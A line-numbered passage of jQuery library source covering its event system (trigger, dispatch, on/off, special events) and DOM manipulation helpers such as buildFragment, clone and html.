2965 }
2966 }
2967 if (jQuery.isEmptyObject(events)) {
2968 delete elemData.handle;
2969 jQuery._removeData(elem, "events")
2970 }
2971 },
2972 trigger: function(event, data, elem, onlyHandlers) {
2973 var handle, ontype, cur, bubbleType, special, tmp, i, eventPath = [elem || document],
2974 type = hasOwn.call(event, "type") ? event.type : event,
2975 namespaces = hasOwn.call(event, "namespace") ? event.namespace.split(".") : [];
2976 cur = tmp = elem = elem || document;
2977 if (elem.nodeType === 3 || elem.nodeType === 8) {
2978 return
2979 }
2980 if (rfocusMorph.test(type + jQuery.event.triggered)) {
2981 return
2982 }
2983 if (type.indexOf(".") >= 0) {
2984 namespaces = type.split(".");
2985 type = namespaces.shift();
2986 namespaces.sort()
2987 }
2988 ontype = type.indexOf(":") < 0 && "on" + type;
2989 event = event[jQuery.expando] ? event : new jQuery.Event(type, typeof event === "object" && event);
2990 event.isTrigger = onlyHandlers ? 2 : 3;
2991 event.namespace = namespaces.join(".");
2992 event.namespace_re = event.namespace ? new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)") : null;
2993 event.result = undefined;
2994 if (!event.target) {
2995 event.target = elem
2996 }
2997 data = data == null ? [event] : jQuery.makeArray(data, [event]);
2998 special = jQuery.event.special[type] || {};
2999 if (!onlyHandlers && special.trigger && special.trigger.apply(elem, data) === false) {
3000 return
3001 }
3002 if (!onlyHandlers && !special.noBubble && !jQuery.isWindow(elem)) {
3003 bubbleType = special.delegateType || type;
3004 if (!rfocusMorph.test(bubbleType + type)) {
3005 cur = cur.parentNode
3006 }
3007 for (; cur; cur = cur.parentNode) {
3008 eventPath.push(cur);
3009 tmp = cur
3010 }
3011 if (tmp === (elem.ownerDocument || document)) {
3012 eventPath.push(tmp.defaultView || tmp.parentWindow || window)
3013 }
3014 }
3015 i = 0;
3016 while ((cur = eventPath[i++]) && !event.isPropagationStopped()) {
3017 event.type = i > 1 ? bubbleType : special.bindType || type;
3018 handle = (jQuery._data(cur, "events") || {})[event.type] && jQuery._data(cur, "handle");
3019 if (handle) {
3020 handle.apply(cur, data)
3021 }
3022 handle = ontype && cur[ontype];
3023 if (handle && handle.apply && jQuery.acceptData(cur)) {
3024 event.result = handle.apply(cur, data);
3025 if (event.result === false) {
3026 event.preventDefault()
3027 }
3028 }
3029 }
3030 event.type = type;
3031 if (!onlyHandlers && !event.isDefaultPrevented()) {
3032 if ((!special._default || special._default.apply(eventPath.pop(), data) === false) && jQuery.acceptData(elem)) {
3033 if (ontype && elem[type] && !jQuery.isWindow(elem)) {
3034 tmp = elem[ontype];
3035 if (tmp) {
3036 elem[ontype] = null
3037 }
3038 jQuery.event.triggered = type;
3039 try {
3040 elem[type]()
3041 } catch (e) {}
3042 jQuery.event.triggered = undefined;
3043 if (tmp) {
3044 elem[ontype] = tmp
3045 }
3046 }
3047 }
3048 }
3049 return event.result
3050 },
3051 dispatch: function(event) {
3052 event = jQuery.event.fix(event);
3053 var i, ret, handleObj, matched, j, handlerQueue = [],
3054 args = slice.call(arguments),
3055 handlers = (jQuery._data(this, "events") || {})[event.type] || [],
3056 special = jQuery.event.special[event.type] || {};
3057 args[0] = event;
3058 event.delegateTarget = this;
3059 if (special.preDispatch && special.preDispatch.call(this, event) === false) {
3060 return
3061 }
3062 handlerQueue = jQuery.event.handlers.call(this, event, handlers);
3063 i = 0;
3064 while ((matched = handlerQueue[i++]) && !event.isPropagationStopped()) {
3065 event.currentTarget = matched.elem;
3066 j = 0;
3067 while ((handleObj = matched.handlers[j++]) && !event.isImmediatePropagationStopped()) {
3068 if (!event.namespace_re || event.namespace_re.test(handleObj.namespace)) {
3069 event.handleObj = handleObj;
3070 event.data = handleObj.data;
3071 ret = ((jQuery.event.special[handleObj.origType] || {}).handle || handleObj.handler).apply(matched.elem, args);
3072 if (ret !== undefined) {
3073 if ((event.result = ret) === false) {
3074 event.preventDefault();
3075 event.stopPropagation()
3076 }
3077 }
3078 }
3079 }
3080 }
3081 if (special.postDispatch) {
3082 special.postDispatch.call(this, event)
3083 }
3084 return event.result
3085 },
3086 handlers: function(event, handlers) {
3087 var sel, handleObj, matches, i, handlerQueue = [],
3088 delegateCount = handlers.delegateCount,
3089 cur = event.target;
3090 if (delegateCount && cur.nodeType && (!event.button || event.type !== "click")) {
3091 for (; cur != this; cur = cur.parentNode || this) {
3092 if (cur.nodeType === 1 && (cur.disabled !== true || event.type !== "click")) {
3093 matches = [];
3094 for (i = 0; i < delegateCount; i++) {
3095 handleObj = handlers[i];
3096 sel = handleObj.selector + " ";
3097 if (matches[sel] === undefined) {
3098 matches[sel] = handleObj.needsContext ? jQuery(sel, this).index(cur) >= 0 : jQuery.find(sel, this, null, [cur]).length
3099 }
3100 if (matches[sel]) {
3101 matches.push(handleObj)
3102 }
3103 }
3104 if (matches.length) {
3105 handlerQueue.push({
3106 elem: cur,
3107 handlers: matches
3108 })
3109 }
3110 }
3111 }
3112 }
3113 if (delegateCount < handlers.length) {
3114 handlerQueue.push({
3115 elem: this,
3116 handlers: handlers.slice(delegateCount)
3117 })
3118 }
3119 return handlerQueue
3120 },
3121 fix: function(event) {
3122 if (event[jQuery.expando]) {
3123 return event
3124 }
3125 var i, prop, copy, type = event.type,
3126 originalEvent = event,
3127 fixHook = this.fixHooks[type];
3128 if (!fixHook) {
3129 this.fixHooks[type] = fixHook = rmouseEvent.test(type) ? this.mouseHooks : rkeyEvent.test(type) ? this.keyHooks : {}
3130 }
3131 copy = fixHook.props ? this.props.concat(fixHook.props) : this.props;
3132 event = new jQuery.Event(originalEvent);
3133 i = copy.length;
3134 while (i--) {
3135 prop = copy[i];
3136 event[prop] = originalEvent[prop]
3137 }
3138 if (!event.target) {
3139 event.target = originalEvent.srcElement || document
3140 }
3141 if (event.target.nodeType === 3) {
3142 event.target = event.target.parentNode
3143 }
3144 event.metaKey = !!event.metaKey;
3145 return fixHook.filter ? fixHook.filter(event, originalEvent) : event
3146 },
3147 props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
3148 fixHooks: {},
3149 keyHooks: {
3150 props: "char charCode key keyCode".split(" "),
3151 filter: function(event, original) {
3152 if (event.which == null) {
3153 event.which = original.charCode != null ? original.charCode : original.keyCode
3154 }
3155 return event
3156 }
3157 },
3158 mouseHooks: {
3159 props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),
3160 filter: function(event, original) {
3161 var body, eventDoc, doc, button = original.button,
3162 fromElement = original.fromElement;
3163 if (event.pageX == null && original.clientX != null) {
3164 eventDoc = event.target.ownerDocument || document;
3165 doc = eventDoc.documentElement;
3166 body = eventDoc.body;
3167 event.pageX = original.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0);
3168 event.pageY = original.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc && doc.clientTop || body && body.clientTop || 0)
3169 }
3170 if (!event.relatedTarget && fromElement) {
3171 event.relatedTarget = fromElement === event.target ? original.toElement : fromElement
3172 }
3173 if (!event.which && button !== undefined) {
3174 event.which = (button & 1 ? 1 : (button & 2 ? 3 : (button & 4 ? 2 : 0)))
3175 }
3176 return event
3177 }
3178 },
3179 special: {
3180 load: {
3181 noBubble: true
3182 },
3183 focus: {
3184 trigger: function() {
3185 if (this !== safeActiveElement() && this.focus) {
3186 try {
3187 this.focus();
3188 return false
3189 } catch (e) {}
3190 }
3191 },
3192 delegateType: "focusin"
3193 },
3194 blur: {
3195 trigger: function() {
3196 if (this === safeActiveElement() && this.blur) {
3197 this.blur();
3198 return false
3199 }
3200 },
3201 delegateType: "focusout"
3202 },
3203 click: {
3204 trigger: function() {
3205 if (jQuery.nodeName(this, "input") && this.type === "checkbox" && this.click) {
3206 this.click();
3207 return false
3208 }
3209 },
3210 _default: function(event) {
3211 return jQuery.nodeName(event.target, "a")
3212 }
3213 },
3214 beforeunload: {
3215 postDispatch: function(event) {
3216 if (event.result !== undefined && event.originalEvent) {
3217 event.originalEvent.returnValue = event.result
3218 }
3219 }
3220 }
3221 },
3222 simulate: function(type, elem, event, bubble) {
3223 var e = jQuery.extend(new jQuery.Event(), event, {
3224 type: type,
3225 isSimulated: true,
3226 originalEvent: {}
3227 });
3228 if (bubble) {
3229 jQuery.event.trigger(e, null, elem)
3230 } else {
3231 jQuery.event.dispatch.call(elem, e)
3232 }
3233 if (e.isDefaultPrevented()) {
3234 event.preventDefault()
3235 }
3236 }
3237 };
3238 jQuery.removeEvent = document.removeEventListener ? function(elem, type, handle) {
3239 if (elem.removeEventListener) {
3240 elem.removeEventListener(type, handle, false)
3241 }
3242 } : function(elem, type, handle) {
3243 var name = "on" + type;
3244 if (elem.detachEvent) {
3245 if (typeof elem[name] === strundefined) {
3246 elem[name] = null
3247 }
3248 elem.detachEvent(name, handle)
3249 }
3250 };
3251 jQuery.Event = function(src, props) {
3252 if (!(this instanceof jQuery.Event)) {
3253 return new jQuery.Event(src, props)
3254 }
3255 if (src && src.type) {
3256 this.originalEvent = src;
3257 this.type = src.type;
3258 this.isDefaultPrevented = src.defaultPrevented || src.defaultPrevented === undefined && src.returnValue === false ? returnTrue : returnFalse
3259 } else {
3260 this.type = src
3261 }
3262 if (props) {
3263 jQuery.extend(this, props)
3264 }
3265 this.timeStamp = src && src.timeStamp || jQuery.now();
3266 this[jQuery.expando] = true
3267 };
3268 jQuery.Event.prototype = {
3269 isDefaultPrevented: returnFalse,
3270 isPropagationStopped: returnFalse,
3271 isImmediatePropagationStopped: returnFalse,
3272 preventDefault: function() {
3273 var e = this.originalEvent;
3274 this.isDefaultPrevented = returnTrue;
3275 if (!e) {
3276 return
3277 }
3278 if (e.preventDefault) {
3279 e.preventDefault()
3280 } else {
3281 e.returnValue = false
3282 }
3283 },
3284 stopPropagation: function() {
3285 var e = this.originalEvent;
3286 this.isPropagationStopped = returnTrue;
3287 if (!e) {
3288 return
3289 }
3290 if (e.stopPropagation) {
3291 e.stopPropagation()
3292 }
3293 e.cancelBubble = true
3294 },
3295 stopImmediatePropagation: function() {
3296 var e = this.originalEvent;
3297 this.isImmediatePropagationStopped = returnTrue;
3298 if (e && e.stopImmediatePropagation) {
3299 e.stopImmediatePropagation()
3300 }
3301 this.stopPropagation()
3302 }
3303 };
3304 jQuery.each({
3305 mouseenter: "mouseover",
3306 mouseleave: "mouseout",
3307 pointerenter: "pointerover",
3308 pointerleave: "pointerout"
3309 }, function(orig, fix) {
3310 jQuery.event.special[orig] = {
3311 delegateType: fix,
3312 bindType: fix,
3313 handle: function(event) {
3314 var ret, target = this,
3315 related = event.relatedTarget,
3316 handleObj = event.handleObj;
3317 if (!related || (related !== target && !jQuery.contains(target, related))) {
3318 event.type = handleObj.origType;
3319 ret = handleObj.handler.apply(this, arguments);
3320 event.type = fix
3321 }
3322 return ret
3323 }
3324 }
3325 });
3326 if (!support.submitBubbles) {
3327 jQuery.event.special.submit = {
3328 setup: function() {
3329 if (jQuery.nodeName(this, "form")) {
3330 return false
3331 }
3332 jQuery.event.add(this, "click._submit keypress._submit", function(e) {
3333 var elem = e.target,
3334 form = jQuery.nodeName(elem, "input") || jQuery.nodeName(elem, "button") ? elem.form : undefined;
3335 if (form && !jQuery._data(form, "submitBubbles")) {
3336 jQuery.event.add(form, "submit._submit", function(event) {
3337 event._submit_bubble = true
3338 });
3339 jQuery._data(form, "submitBubbles", true)
3340 }
3341 })
3342 },
3343 postDispatch: function(event) {
3344 if (event._submit_bubble) {
3345 delete event._submit_bubble;
3346 if (this.parentNode && !event.isTrigger) {
3347 jQuery.event.simulate("submit", this.parentNode, event, true)
3348 }
3349 }
3350 },
3351 teardown: function() {
3352 if (jQuery.nodeName(this, "form")) {
3353 return false
3354 }
3355 jQuery.event.remove(this, "._submit")
3356 }
3357 }
3358 }
3359 if (!support.changeBubbles) {
3360 jQuery.event.special.change = {
3361 setup: function() {
3362 if (rformElems.test(this.nodeName)) {
3363 if (this.type === "checkbox" || this.type === "radio") {
3364 jQuery.event.add(this, "propertychange._change", function(event) {
3365 if (event.originalEvent.propertyName === "checked") {
3366 this._just_changed = true
3367 }
3368 });
3369 jQuery.event.add(this, "click._change", function(event) {
3370 if (this._just_changed && !event.isTrigger) {
3371 this._just_changed = false
3372 }
3373 jQuery.event.simulate("change", this, event, true)
3374 })
3375 }
3376 return false
3377 }
3378 jQuery.event.add(this, "beforeactivate._change", function(e) {
3379 var elem = e.target;
3380 if (rformElems.test(elem.nodeName) && !jQuery._data(elem, "changeBubbles")) {
3381 jQuery.event.add(elem, "change._change", function(event) {
3382 if (this.parentNode && !event.isSimulated && !event.isTrigger) {
3383 jQuery.event.simulate("change", this.parentNode, event, true)
3384 }
3385 });
3386 jQuery._data(elem, "changeBubbles", true)
3387 }
3388 })
3389 },
3390 handle: function(event) {
3391 var elem = event.target;
3392 if (this !== elem || event.isSimulated || event.isTrigger || (elem.type !== "radio" && elem.type !== "checkbox")) {
3393 return event.handleObj.handler.apply(this, arguments)
3394 }
3395 },
3396 teardown: function() {
3397 jQuery.event.remove(this, "._change");
3398 return !rformElems.test(this.nodeName)
3399 }
3400 }
3401 }
3402 if (!support.focusinBubbles) {
3403 jQuery.each({
3404 focus: "focusin",
3405 blur: "focusout"
3406 }, function(orig, fix) {
3407 var handler = function(event) {
3408 jQuery.event.simulate(fix, event.target, jQuery.event.fix(event), true)
3409 };
3410 jQuery.event.special[fix] = {
3411 setup: function() {
3412 var doc = this.ownerDocument || this,
3413 attaches = jQuery._data(doc, fix);
3414 if (!attaches) {
3415 doc.addEventListener(orig, handler, true)
3416 }
3417 jQuery._data(doc, fix, (attaches || 0) + 1)
3418 },
3419 teardown: function() {
3420 var doc = this.ownerDocument || this,
3421 attaches = jQuery._data(doc, fix) - 1;
3422 if (!attaches) {
3423 doc.removeEventListener(orig, handler, true);
3424 jQuery._removeData(doc, fix)
3425 } else {
3426 jQuery._data(doc, fix, attaches)
3427 }
3428 }
3429 }
3430 })
3431 }
3432 jQuery.fn.extend({
3433 on: function(types, selector, data, fn, one) {
3434 var type, origFn;
3435 if (typeof types === "object") {
3436 if (typeof selector !== "string") {
3437 data = data || selector;
3438 selector = undefined
3439 }
3440 for (type in types) {
3441 this.on(type, selector, data, types[type], one)
3442 }
3443 return this
3444 }
3445 if (data == null && fn == null) {
3446 fn = selector;
3447 data = selector = undefined
3448 } else if (fn == null) {
3449 if (typeof selector === "string") {
3450 fn = data;
3451 data = undefined
3452 } else {
3453 fn = data;
3454 data = selector;
3455 selector = undefined
3456 }
3457 }
3458 if (fn === false) {
3459 fn = returnFalse
3460 } else if (!fn) {
3461 return this
3462 }
3463 if (one === 1) {
3464 origFn = fn;
3465 fn = function(event) {
3466 jQuery().off(event);
3467 return origFn.apply(this, arguments)
3468 };
3469 fn.guid = origFn.guid || (origFn.guid = jQuery.guid++)
3470 }
3471 return this.each(function() {
3472 jQuery.event.add(this, types, fn, data, selector)
3473 })
3474 },
3475 one: function(types, selector, data, fn) {
3476 return this.on(types, selector, data, fn, 1)
3477 },
3478 off: function(types, selector, fn) {
3479 var handleObj, type;
3480 if (types && types.preventDefault && types.handleObj) {
3481 handleObj = types.handleObj;
3482 jQuery(types.delegateTarget).off(handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler);
3483 return this
3484 }
3485 if (typeof types === "object") {
3486 for (type in types) {
3487 this.off(type, selector, types[type])
3488 }
3489 return this
3490 }
3491 if (selector === false || typeof selector === "function") {
3492 fn = selector;
3493 selector = undefined
3494 }
3495 if (fn === false) {
3496 fn = returnFalse
3497 }
3498 return this.each(function() {
3499 jQuery.event.remove(this, types, fn, selector)
3500 })
3501 },
3502 trigger: function(type, data) {
3503 return this.each(function() {
3504 jQuery.event.trigger(type, data, this)
3505 })
3506 },
3507 triggerHandler: function(type, data) {
3508 var elem = this[0];
3509 if (elem) {
3510 return jQuery.event.trigger(type, data, elem, true)
3511 }
3512 }
3513 });
3514
3515 function createSafeFragment(document) {
3516 var list = nodeNames.split("|"),
3517 safeFrag = document.createDocumentFragment();
3518 if (safeFrag.createElement) {
3519 while (list.length) {
3520 safeFrag.createElement(list.pop())
3521 }
3522 }
3523 return safeFrag
3524 }
3525 var nodeNames = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|" + "header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",
3526 rinlinejQuery = / jQuery\d+="(?:null|\d+)"/g,
3527 rnoshimcache = new RegExp("<(?:" + nodeNames + ")[\\s/>]", "i"),
3528 rleadingWhitespace = /^\s+/,
3529 rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,
3530 rtagName = /<([\w:]+)/,
3531 rtbody = /<tbody/i,
3532 rhtml = /<|&#?\w+;/,
3533 rnoInnerhtml = /<(?:script|style|link)/i,
3534 rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
3535 rscriptType = /^$|\/(?:java|ecma)script/i,
3536 rscriptTypeMasked = /^true\/(.*)/,
3537 rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,
3538 wrapMap = {
3539 option: [1, "<select multiple='multiple'>", "</select>"],
3540 legend: [1, "<fieldset>", "</fieldset>"],
3541 area: [1, "<map>", "</map>"],
3542 param: [1, "<object>", "</object>"],
3543 thead: [1, "<table>", "</table>"],
3544 tr: [2, "<table><tbody>", "</tbody></table>"],
3545 col: [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"],
3546 td: [3, "<table><tbody><tr>", "</tr></tbody></table>"],
3547 _default: support.htmlSerialize ? [0, "", ""] : [1, "X<div>", "</div>"]
3548 },
3549 safeFragment = createSafeFragment(document),
3550 fragmentDiv = safeFragment.appendChild(document.createElement("div"));
3551 wrapMap.optgroup = wrapMap.option;
3552 wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
3553 wrapMap.th = wrapMap.td;
3554
3555 function getAll(context, tag) {
3556 var elems, elem, i = 0,
3557 found = typeof context.getElementsByTagName !== strundefined ? context.getElementsByTagName(tag || "*") : typeof context.querySelectorAll !== strundefined ? context.querySelectorAll(tag || "*") : undefined;
3558 if (!found) {
3559 for (found = [], elems = context.childNodes || context;
3560 (elem = elems[i]) != null; i++) {
3561 if (!tag || jQuery.nodeName(elem, tag)) {
3562 found.push(elem)
3563 } else {
3564 jQuery.merge(found, getAll(elem, tag))
3565 }
3566 }
3567 }
3568 return tag === undefined || tag && jQuery.nodeName(context, tag) ? jQuery.merge([context], found) : found
3569 }
3570
3571 function fixDefaultChecked(elem) {
3572 if (rcheckableType.test(elem.type)) {
3573 elem.defaultChecked = elem.checked
3574 }
3575 }
3576
3577 function manipulationTarget(elem, content) {
3578 return jQuery.nodeName(elem, "table") && jQuery.nodeName(content.nodeType !== 11 ? content : content.firstChild, "tr") ? elem.getElementsByTagName("tbody")[0] || elem.appendChild(elem.ownerDocument.createElement("tbody")) : elem
3579 }
3580
3581 function disableScript(elem) {
3582 elem.type = (jQuery.find.attr(elem, "type") !== null) + "/" + elem.type;
3583 return elem
3584 }
3585
3586 function restoreScript(elem) {
3587 var match = rscriptTypeMasked.exec(elem.type);
3588 if (match) {
3589 elem.type = match[1]
3590 } else {
3591 elem.removeAttribute("type")
3592 }
3593 return elem
3594 }
3595
3596 function setGlobalEval(elems, refElements) {
3597 var elem, i = 0;
3598 for (;
3599 (elem = elems[i]) != null; i++) {
3600 jQuery._data(elem, "globalEval", !refElements || jQuery._data(refElements[i], "globalEval"))
3601 }
3602 }
3603
3604 function cloneCopyEvent(src, dest) {
3605 if (dest.nodeType !== 1 || !jQuery.hasData(src)) {
3606 return
3607 }
3608 var type, i, l, oldData = jQuery._data(src),
3609 curData = jQuery._data(dest, oldData),
3610 events = oldData.events;
3611 if (events) {
3612 delete curData.handle;
3613 curData.events = {};
3614 for (type in events) {
3615 for (i = 0, l = events[type].length; i < l; i++) {
3616 jQuery.event.add(dest, type, events[type][i])
3617 }
3618 }
3619 }
3620 if (curData.data) {
3621 curData.data = jQuery.extend({}, curData.data)
3622 }
3623 }
3624
3625 function fixCloneNodeIssues(src, dest) {
3626 var nodeName, e, data;
3627 if (dest.nodeType !== 1) {
3628 return
3629 }
3630 nodeName = dest.nodeName.toLowerCase();
3631 if (!support.noCloneEvent && dest[jQuery.expando]) {
3632 data = jQuery._data(dest);
3633 for (e in data.events) {
3634 jQuery.removeEvent(dest, e, data.handle)
3635 }
3636 dest.removeAttribute(jQuery.expando)
3637 }
3638 if (nodeName === "script" && dest.text !== src.text) {
3639 disableScript(dest).text = src.text;
3640 restoreScript(dest)
3641 } else if (nodeName === "object") {
3642 if (dest.parentNode) {
3643 dest.outerHTML = src.outerHTML
3644 }
3645 if (support.html5Clone && (src.innerHTML && !jQuery.trim(dest.innerHTML))) {
3646 dest.innerHTML = src.innerHTML
3647 }
3648 } else if (nodeName === "input" && rcheckableType.test(src.type)) {
3649 dest.defaultChecked = dest.checked = src.checked;
3650 if (dest.value !== src.value) {
3651 dest.value = src.value
3652 }
3653 } else if (nodeName === "option") {
3654 dest.defaultSelected = dest.selected = src.defaultSelected
3655 } else if (nodeName === "input" || nodeName === "textarea") {
3656 dest.defaultValue = src.defaultValue
3657 }
3658 }
3659 jQuery.extend({
3660 clone: function(elem, dataAndEvents, deepDataAndEvents) {
3661 var destElements, node, clone, i, srcElements, inPage = jQuery.contains(elem.ownerDocument, elem);
3662 if (support.html5Clone || jQuery.isXMLDoc(elem) || !rnoshimcache.test("<" + elem.nodeName + ">")) {
3663 clone = elem.cloneNode(true)
3664 } else {
3665 fragmentDiv.innerHTML = elem.outerHTML;
3666 fragmentDiv.removeChild(clone = fragmentDiv.firstChild)
3667 }
3668 if ((!support.noCloneEvent || !support.noCloneChecked) && (elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem)) {
3669 destElements = getAll(clone);
3670 srcElements = getAll(elem);
3671 for (i = 0;
3672 (node = srcElements[i]) != null; ++i) {
3673 if (destElements[i]) {
3674 fixCloneNodeIssues(node, destElements[i])
3675 }
3676 }
3677 }
3678 if (dataAndEvents) {
3679 if (deepDataAndEvents) {
3680 srcElements = srcElements || getAll(elem);
3681 destElements = destElements || getAll(clone);
3682 for (i = 0;
3683 (node = srcElements[i]) != null; i++) {
3684 cloneCopyEvent(node, destElements[i])
3685 }
3686 } else {
3687 cloneCopyEvent(elem, clone)
3688 }
3689 }
3690 destElements = getAll(clone, "script");
3691 if (destElements.length > 0) {
3692 setGlobalEval(destElements, !inPage && getAll(elem, "script"))
3693 }
3694 destElements = srcElements = node = null;
3695 return clone
3696 },
3697 buildFragment: function(elems, context, scripts, selection) {
3698 var j, elem, contains, tmp, tag, tbody, wrap, l = elems.length,
3699 safe = createSafeFragment(context),
3700 nodes = [],
3701 i = 0;
3702 for (; i < l; i++) {
3703 elem = elems[i];
3704 if (elem || elem === 0) {
3705 if (jQuery.type(elem) === "object") {
3706 jQuery.merge(nodes, elem.nodeType ? [elem] : elem)
3707 } else if (!rhtml.test(elem)) {
3708 nodes.push(context.createTextNode(elem))
3709 } else {
3710 tmp = tmp || safe.appendChild(context.createElement("div"));
3711 tag = (rtagName.exec(elem) || ["", ""])[1].toLowerCase();
3712 wrap = wrapMap[tag] || wrapMap._default;
3713 tmp.innerHTML = wrap[1] + elem.replace(rxhtmlTag, "<$1></$2>") + wrap[2];
3714 j = wrap[0];
3715 while (j--) {
3716 tmp = tmp.lastChild
3717 }
3718 if (!support.leadingWhitespace && rleadingWhitespace.test(elem)) {
3719 nodes.push(context.createTextNode(rleadingWhitespace.exec(elem)[0]))
3720 }
3721 if (!support.tbody) {
3722 elem = tag === "table" && !rtbody.test(elem) ? tmp.firstChild : wrap[1] === "<table>" && !rtbody.test(elem) ? tmp : 0;
3723 j = elem && elem.childNodes.length;
3724 while (j--) {
3725 if (jQuery.nodeName((tbody = elem.childNodes[j]), "tbody") && !tbody.childNodes.length) {
3726 elem.removeChild(tbody)
3727 }
3728 }
3729 }
3730 jQuery.merge(nodes, tmp.childNodes);
3731 tmp.textContent = "";
3732 while (tmp.firstChild) {
3733 tmp.removeChild(tmp.firstChild)
3734 }
3735 tmp = safe.lastChild
3736 }
3737 }
3738 }
3739 if (tmp) {
3740 safe.removeChild(tmp)
3741 }
3742 if (!support.appendChecked) {
3743 jQuery.grep(getAll(nodes, "input"), fixDefaultChecked)
3744 }
3745 i = 0;
3746 while ((elem = nodes[i++])) {
3747 if (selection && jQuery.inArray(elem, selection) !== -1) {
3748 continue
3749 }
3750 contains = jQuery.contains(elem.ownerDocument, elem);
3751 tmp = getAll(safe.appendChild(elem), "script");
3752 if (contains) {
3753 setGlobalEval(tmp)
3754 }
3755 if (scripts) {
3756 j = 0;
3757 while ((elem = tmp[j++])) {
3758 if (rscriptType.test(elem.type || "")) {
3759 scripts.push(elem)
3760 }
3761 }
3762 }
3763 }
3764 tmp = null;
3765 return safe
3766 },
3767 cleanData: function(elems, acceptData) {
3768 var elem, type, id, data, i = 0,
3769 internalKey = jQuery.expando,
3770 cache = jQuery.cache,
3771 deleteExpando = support.deleteExpando,
3772 special = jQuery.event.special;
3773 for (;
3774 (elem = elems[i]) != null; i++) {
3775 if (acceptData || jQuery.acceptData(elem)) {
3776 id = elem[internalKey];
3777 data = id && cache[id];
3778 if (data) {
3779 if (data.events) {
3780 for (type in data.events) {
3781 if (special[type]) {
3782 jQuery.event.remove(elem, type)
3783 } else {
3784 jQuery.removeEvent(elem, type, data.handle)
3785 }
3786 }
3787 }
3788 if (cache[id]) {
3789 delete cache[id];
3790 if (deleteExpando) {
3791 delete elem[internalKey]
3792 } else if (typeof elem.removeAttribute !== strundefined) {
3793 elem.removeAttribute(internalKey)
3794 } else {
3795 elem[internalKey] = null
3796 }
3797 deletedIds.push(id)
3798 }
3799 }
3800 }
3801 }
3802 }
3803 });
3804 jQuery.fn.extend({
3805 text: function(value) {
3806 return access(this, function(value) {
3807 return value === undefined ? jQuery.text(this) : this.empty().append((this[0] && this[0].ownerDocument || document).createTextNode(value))
3808 }, null, value, arguments.length)
3809 },
3810 append: function() {
3811 return this.domManip(arguments, function(elem) {
3812 if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
3813 var target = manipulationTarget(this, elem);
3814 target.appendChild(elem)
3815 }
3816 })
3817 },
3818 prepend: function() {
3819 return this.domManip(arguments, function(elem) {
3820 if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
3821 var target = manipulationTarget(this, elem);
3822 target.insertBefore(elem, target.firstChild)
3823 }
3824 })
3825 },
3826 before: function() {
3827 return this.domManip(arguments, function(elem) {
3828 if (this.parentNode) {
3829 this.parentNode.insertBefore(elem, this)
3830 }
3831 })
3832 },
3833 after: function() {
3834 return this.domManip(arguments, function(elem) {
3835 if (this.parentNode) {
3836 this.parentNode.insertBefore(elem, this.nextSibling)
3837 }
3838 })
3839 },
3840 remove: function(selector, keepData) {
3841 var elem, elems = selector ? jQuery.filter(selector, this) : this,
3842 i = 0;
3843 for (;
3844 (elem = elems[i]) != null; i++) {
3845 if (!keepData && elem.nodeType === 1) {
3846 jQuery.cleanData(getAll(elem))
3847 }
3848 if (elem.parentNode) {
3849 if (keepData && jQuery.contains(elem.ownerDocument, elem)) {
3850 setGlobalEval(getAll(elem, "script"))
3851 }
3852 elem.parentNode.removeChild(elem)
3853 }
3854 }
3855 return this
3856 },
3857 empty: function() {
3858 var elem, i = 0;
3859 for (;
3860 (elem = this[i]) != null; i++) {
3861 if (elem.nodeType === 1) {
3862 jQuery.cleanData(getAll(elem, false))
3863 }
3864 while (elem.firstChild) {
3865 elem.removeChild(elem.firstChild)
3866 }
3867 if (elem.options && jQuery.nodeName(elem, "select")) {
3868 elem.options.length = 0
3869 }
3870 }
3871 return this
3872 },
3873 clone: function(dataAndEvents, deepDataAndEvents) {
3874 dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
3875 deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
3876 return this.map(function() {
3877 return jQuery.clone(this, dataAndEvents, deepDataAndEvents)
3878 })
3879 },
3880 html: function(value) {
3881 return access(this, function(value) {
3882 var elem = this[0] || {},
3883 i = 0,
3884 l = this.length;
3885 if (value === undefined) {
3886 return elem.nodeType === 1 ? elem.innerHTML.replace(rinlinejQuery, "") : undefined
3887 }
3888 if (typeof value === "string" && !rnoInnerhtml.test(value) && (support.htmlSerialize || !rnoshimcache.test(value)) && (support.leadingWhitespace || !rleadingWhitespace.test(value)) && !wrapMap[(rtagName.exec(value) || ["", ""])[1].toLowerCase()]) {
3889 value = value.replace(rxhtmlTag, "<$1></$2>");
3890 try {
3891 for (; i < l; i++) {
3892 elem = this[i] || {};
3893 if (elem.nodeType === 1) {
3894 jQuery.cleanData(getAll(elem, false));
3895 elem.innerHTML = value
3896 }
3897 }
3898 elem = 0
3899 } catch (e) {}
3900 }
3901 if (elem) {
3902 this.empty().append(value)
3903 }
3904 }, null, value, arguments.length)
3905 },
3906 replaceWith: function() {
3907 var arg = arguments[0];
3908 this.domManip(arguments, function(elem) {
3909 arg = this.parentNode;
3910 jQuery.cleanData(getAll(this));
3911 if (arg) {
3912 arg.replaceChild(elem, this)
3913 }
3914 });
3915 return arg && (arg.length || arg.nodeType) ? this : this.remove()
3916 },
3917 detach: function(selector) {
3918 return this.remove(selector, true)
3919 },
3920 domManip: function(args, callback) {
3921 args = concat.apply([], args);
3922 var first, node, hasScripts, scripts, doc, fragment, i = 0,
3923 l = this.length,
3924 set = this,
